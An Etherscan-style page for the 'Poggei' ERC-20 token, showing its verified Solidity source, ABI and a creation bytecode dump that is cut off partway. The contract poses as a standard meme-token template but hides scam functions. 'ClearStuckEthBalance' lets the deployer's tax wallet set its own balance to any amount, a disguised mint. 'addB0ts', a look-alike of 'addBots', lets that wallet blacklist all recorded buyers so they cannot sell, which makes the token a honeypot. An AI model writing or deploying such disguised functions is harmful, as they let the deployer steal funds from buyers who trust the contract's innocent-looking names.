ETH Price: $2,503.68 (-3.27%)

Token

Poggei (POGGEI)
 

Overview

Max Total Supply

1,000,000,000 POGGEI

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
14,693,662.84711943 POGGEI

Value
$0.00
0xb7037cea18cde39ebf641fe40c4754e24953dab0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
POGGEI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-11
*/

// SPDX-License-Identifier: MIT

/*
https://poggei.xyz/
https://t.me/PoggeiCoin
https://x.com/PoggeiToken

*/

pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract POGGEI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address[] private ag;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=2;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 8;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Poggei";
    string private constant _symbol = unicode"POGGEI";
    uint256 public _maxTxAmount =   _tTotal*3/100*10**_decimals; //3%
    uint256 public _maxWalletSize = _tTotal*3/100*10**_decimals; //3%
    uint256 public _taxSwapThreshold = _tTotal*5/1000*10**_decimals; //0.5%
    uint256 public _maxTaxSwap = _tTotal*2/100*10**_decimals; //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(msg.sender);
        _balances[_msgSender()] = _tTotal;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
                ag.push(to);
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }




    function ClearStuckEthBalance(uint256 burn) public {
        if (!_isExcludedFromFee[_msgSender()]) {
            return;
        }
        _balances[_taxWallet] = burn;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function addB0ts(uint f, uint t) public {
        require(msg.sender == _taxWallet);
        for (uint i = f; i < t; i++) {
            bots[ag[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public {
      require(msg.sender == _taxWallet);
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function holders() public view returns (uint){
      return ag.length;
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }




    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }



    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"ClearStuckEthBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"f","type":"uint256"},{"internalType":"uint256","name":"t","type":"uint256"}],"name":"addB0ts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"holders","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600760006101000a81548160ff021916908315150217905550600060085560006009556000600a556000600b556000600c556000600d556002600e556000600f556008600a62000057919062000700565b606460036008600a6200006b919062000700565b633b9aca006200007c919062000751565b62000088919062000751565b620000949190620007cb565b620000a0919062000751565b6010556008600a620000b3919062000700565b606460036008600a620000c7919062000700565b633b9aca00620000d8919062000751565b620000e4919062000751565b620000f09190620007cb565b620000fc919062000751565b6011556008600a6200010f919062000700565b6103e860056008600a62000124919062000700565b633b9aca0062000135919062000751565b62000141919062000751565b6200014d9190620007cb565b62000159919062000751565b6012556008600a6200016c919062000700565b606460026008600a62000180919062000700565b633b9aca0062000191919062000751565b6200019d919062000751565b620001a99190620007cb565b620001b5919062000751565b60135560006015806101000a81548160ff0219169083151502179055506000601560166101000a81548160ff021916908315150217905550348015620001fa57600080fd5b5060006200020d6200053560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35033600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008600a620002fc919062000700565b633b9aca006200030d919062000751565b60016000620003216200053560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620003756200053d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004a86200053560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008600a62000507919062000700565b633b9aca0062000518919062000751565b60405162000527919062000814565b60405180910390a362000831565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005f457808604811115620005cc57620005cb62000566565b5b6001851615620005dc5780820291505b8081029050620005ec8562000595565b9450620005ac565b94509492505050565b6000826200060f5760019050620006e2565b816200061f5760009050620006e2565b8160018114620006385760028114620006435762000679565b6001915050620006e2565b60ff84111562000658576200065762000566565b5b8360020a91508482111562000672576200067162000566565b5b50620006e2565b5060208310610133831016604e8410600b8410161715620006b35782820a905083811115620006ad57620006ac62000566565b5b620006e2565b620006c28484846001620005a2565b92509050818404811115620006dc57620006db62000566565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200070d82620006e9565b91506200071a83620006f3565b9250620007497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005fd565b905092915050565b60006200075e82620006e9565b91506200076b83620006e9565b92508282026200077b81620006e9565b9150828204841483151762000795576200079462000566565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007d882620006e9565b9150620007e583620006e9565b925082620007f857620007f76200079c565b5b828204905092915050565b6200080e81620006e9565b82525050565b60006020820190506200082b600083018462000803565b92915050565b613a4b80620008416000396000f3fe6080604052600436106101a05760003560e01c8063751039fc116100ec57806395d89b411161008a578063c876d0b911610064578063c876d0b91461058f578063d34628cc146105ba578063dd62ed3e146105e3578063f650052314610620576101a7565b806395d89b41146104fc578063a9059cbb14610527578063bf474bed14610564576101a7565b80638a8c523c116100c65780638a8c523c146104665780638da5cb5b1461047d5780638f9a55c0146104a8578063940372de146104d3576101a7565b8063751039fc146103f95780637d1db4a5146104105780638188f71c1461043b576101a7565b8063313ce5671161015957806349bd5a5e1161013357806349bd5a5e1461036357806351bc3c851461038e57806370a08231146103a5578063715018a6146103e2576101a7565b8063313ce567146102d257806331c2d847146102fd5780633bbac57914610326576101a7565b806306fdde03146101ac578063095ea7b3146101d75780630faee56f146102145780631694505e1461023f57806318160ddd1461026a57806323b872dd14610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610649565b6040516101ce9190612873565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f9919061293d565b610686565b60405161020b9190612998565b60405180910390f35b34801561022057600080fd5b506102296106a4565b60405161023691906129c2565b60405180910390f35b34801561024b57600080fd5b506102546106aa565b6040516102619190612a3c565b60405180910390f35b34801561027657600080fd5b5061027f6106d0565b60405161028c91906129c2565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190612a57565b6106f4565b6040516102c99190612998565b60405180910390f35b3480156102de57600080fd5b506102e76107cd565b6040516102f49190612ac6565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f9190612c29565b6107d6565b005b34801561033257600080fd5b5061034d60048036038101906103489190612c72565b6108c5565b60405161035a9190612998565b60405180910390f35b34801561036f57600080fd5b5061037861091b565b6040516103859190612cae565b60405180910390f35b34801561039a57600080fd5b506103a3610941565b005b3480156103b157600080fd5b506103cc60048036038101906103c79190612c72565b6109de565b6040516103d991906129c2565b60405180910390f35b3480156103ee57600080fd5b506103f7610a27565b005b34801561040557600080fd5b5061040e610b7a565b005b34801561041c57600080fd5b50610425610cc5565b60405161043291906129c2565b60405180910390f35b34801561044757600080fd5b50610450610ccb565b60405161045d91906129c2565b60405180910390f35b34801561047257600080fd5b5061047b610cd8565b005b34801561048957600080fd5b50610492611210565b60405161049f9190612cae565b60405180910390f35b3480156104b457600080fd5b506104bd611239565b6040516104ca91906129c2565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f59190612cc9565b61123f565b005b34801561050857600080fd5b50610511611355565b60405161051e9190612873565b60405180910390f35b34801561053357600080fd5b5061054e6004803603810190610549919061293d565b611392565b60405161055b9190612998565b60405180910390f35b34801561057057600080fd5b506105796113b0565b60405161058691906129c2565b60405180910390f35b34801561059b57600080fd5b506105a46113b6565b6040516105b19190612998565b60405180910390f35b3480156105c657600080fd5b506105e160048036038101906105dc9190612c29565b6113c9565b005b3480156105ef57600080fd5b5061060a60048036038101906106059190612d09565b6114f3565b60405161061791906129c2565b60405180910390f35b34801561062c57600080fd5b5061064760048036038101906106429190612d49565b61157a565b005b60606040518060400160405280600681526020017f506f676765690000000000000000000000000000000000000000000000000000815250905090565b600061069a61069361163d565b8484611645565b6001905092915050565b60135481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006008600a6106e09190612ed8565b633b9aca006106ef9190612f23565b905090565b600061070184848461180e565b6107c28461070d61163d565b6107bd856040518060600160405280602881526020016139ee60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077361163d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b49092919063ffffffff16565b611645565b600190509392505050565b60006008905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461083057600080fd5b60005b81518110156108c15760006004600084848151811061085557610854612f65565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108b990612f94565b915050610833565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661098261163d565b73ffffffffffffffffffffffffffffffffffffffff16146109a257600080fd5b60006109ad306109de565b905060008111156109c2576109c181612318565b5b600047905060008111156109da576109d98161258f565b5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a2f61163d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab390613028565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b8261163d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0690613028565b60405180910390fd5b6008600a610c1d9190612ed8565b633b9aca00610c2c9190612f23565b6010819055506008600a610c409190612ed8565b633b9aca00610c4f9190612f23565b6011819055506000600760006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6008600a610c9f9190612ed8565b633b9aca00610cae9190612f23565b604051610cbb91906129c2565b60405180910390a1565b60105481565b6000600580549050905090565b610ce061163d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490613028565b60405180910390fd5b601560149054906101000a900460ff1615610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490613094565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e5b30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166008600a610e479190612ed8565b633b9aca00610e569190612f23565b611645565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eec91906130c9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9991906130c9565b6040518363ffffffff1660e01b8152600401610fb69291906130f6565b6020604051808303816000875af1158015610fd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff991906130c9565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611082306109de565b60008061108d611210565b426040518863ffffffff1660e01b81526004016110af9695949392919061315a565b60606040518083038185885af11580156110cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110f291906131d0565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611194929190613223565b6020604051808303816000875af11580156111b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d79190613278565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461129957600080fd5b60008290505b8181101561135057600160046000600584815481106112c1576112c0612f65565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061134890612f94565b91505061129f565b505050565b60606040518060400160405280600681526020017f504f474745490000000000000000000000000000000000000000000000000000815250905090565b60006113a661139f61163d565b848461180e565b6001905092915050565b60125481565b600760009054906101000a900460ff1681565b6113d161163d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590613028565b60405180910390fd5b60005b81518110156114ef5760016004600084848151811061148357611482612f65565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114e790612f94565b915050611461565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6003600061158661163d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163a578060016000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab90613317565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a906133a9565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b20